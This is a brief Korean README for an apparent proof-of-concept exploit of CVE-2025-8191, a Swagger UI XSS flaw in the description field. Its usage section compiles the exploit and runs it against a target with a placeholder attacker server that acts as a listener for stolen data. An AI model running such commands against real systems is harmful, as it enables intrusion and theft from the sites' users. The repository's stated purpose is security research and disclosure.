CVE-2025-8191 – Swagger UI XSS Injection

설명 :

이 저장소는 Swagger UI에서 발견된 취약점인 CVE‑2025‑8191에 대한 개념 증명(PoC) 익스플로잇을 포함하고 있습니다.

이 취약점은 "description" 필드에서 XSS(크로스 사이트 스크립팅) 주입을 허용하여, Swagger UI 버전 ≤ 1.0.3에서 원격 스크립트 실행으로 이어집니다.

참고 자료 :

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-8191

사용법 :

gcc exploit.c argparse.c -o exploit -lcurl
./exploit -u http://target.com -s http://yourserver.com -v 

http://target.com을 대상 Swagger UI URL로, http://yourserver.com을 탈취를 위한 HTTP 리스너로 바꾸세요.

면책 조항 :

이 코드는 교육 및 보안 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 작성자는 오용에 대해 책임을 지지 않습니다.

라이선스 :

MIT 라이선스